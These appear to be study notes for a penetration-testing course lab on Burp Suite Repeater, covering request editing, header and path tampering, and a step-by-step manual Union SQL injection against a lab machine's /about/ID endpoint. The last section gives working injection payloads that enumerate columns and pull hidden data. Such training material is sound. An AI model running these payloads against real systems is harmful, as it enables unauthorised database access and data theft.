Burp Suite: Repeater

Overview

Burp Repeater is the main manual testing tool inside Burp Suite. It lets you take a captured request, edit it, resend it as many times as needed, and compare how the server reacts to each change. This is one of the highest-value skills for PT1 web testing.

Core idea: send one request, change one thing, send again, and learn exactly which input controls the application's behaviour.

1) What Repeater Does

Repeater is designed for manual request crafting and iterative testing. Most of the time you will send a real browser request from Proxy into Repeater, then adjust parameters, paths, headers, cookies, or body content.

2) Repeater Interface

The interface is built for fast iteration and side-by-side inspection of requests and responses.

Useful habit: keep one clean baseline request and clone or duplicate it mentally when testing variations, so you always know what changed.

3) Basic Usage Workflow

  1. Capture a valid request in Burp Proxy.
  2. Send it to Repeater with Ctrl + R or right-click Send to Repeater.
  3. Press Send once to establish the baseline response.
  4. Edit one field at a time.
  5. Resend and compare status code, body, headers, length, and behavior changes.

Example: changing the Connection header from close to open can change the returned header value and confirms you are successfully manipulating the request path through the server stack.

4) Response Views and Message Analysis

Repeater gives several ways to inspect the response depending on what you are testing.

What usually matters most: status code, reflected input, response length, interesting error text, changed headers, and whether the page content meaningfully changes.

5) Inspector

Inspector is the structured editor on the right-hand side of Repeater. It makes request tampering faster and safer than manually editing the raw request when you only want to change one component.

Good use case: add unusual headers, change cookies, or switch request method/protocol without manually rebuilding the whole request.

6) Simple Practical Example: Header Tampering

The room first shows a simple example: send a request for / to Repeater, then add a custom header and observe the change in the response.

GET / HTTP/1.1
Host: MACHINE_IP
Connection: close
FlagAuthorised: True

This is a clean demonstration of why Repeater matters: the browser UI may never expose this behavior, but direct request editing will.

7) Path Tampering and Validation Testing

The room challenge also highlights a common pattern: applications may appear to validate numeric endpoints, but insecure backend validation can still be bypassed by manually changing the path in Repeater.

PT1 lesson: never trust client-side navigation, disabled UI, or “normal” link patterns. Repeater is how you test what the server actually enforces.

8) Extra-Mile Example: Manual Union SQLi with Repeater

The room finishes with a more realistic example: exploiting a Union SQL Injection in the ID portion of the /about/ID endpoint using Repeater.

Step 1: Confirm the injection point

Add a single quote to the path and resend:

GET /about/2' HTTP/1.1
Host: MACHINE_IP

A 500 Internal Server Error strongly suggests the query has been broken.

Step 2: Use verbose errors

The returned error reveals the backend query:

SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'

This gives you the table name and the number of selected columns immediately.

Step 3: Enumerate column names

/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

This reveals columns such as id, firstName, lastName, pfpLink, role, shortRole, bio, and notes.

Step 4: Extract the target data

0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

Why Repeater is perfect here: you can tweak one payload at a time, observe exact server errors, and build the attack incrementally without losing context.

Exam Notes (PT1)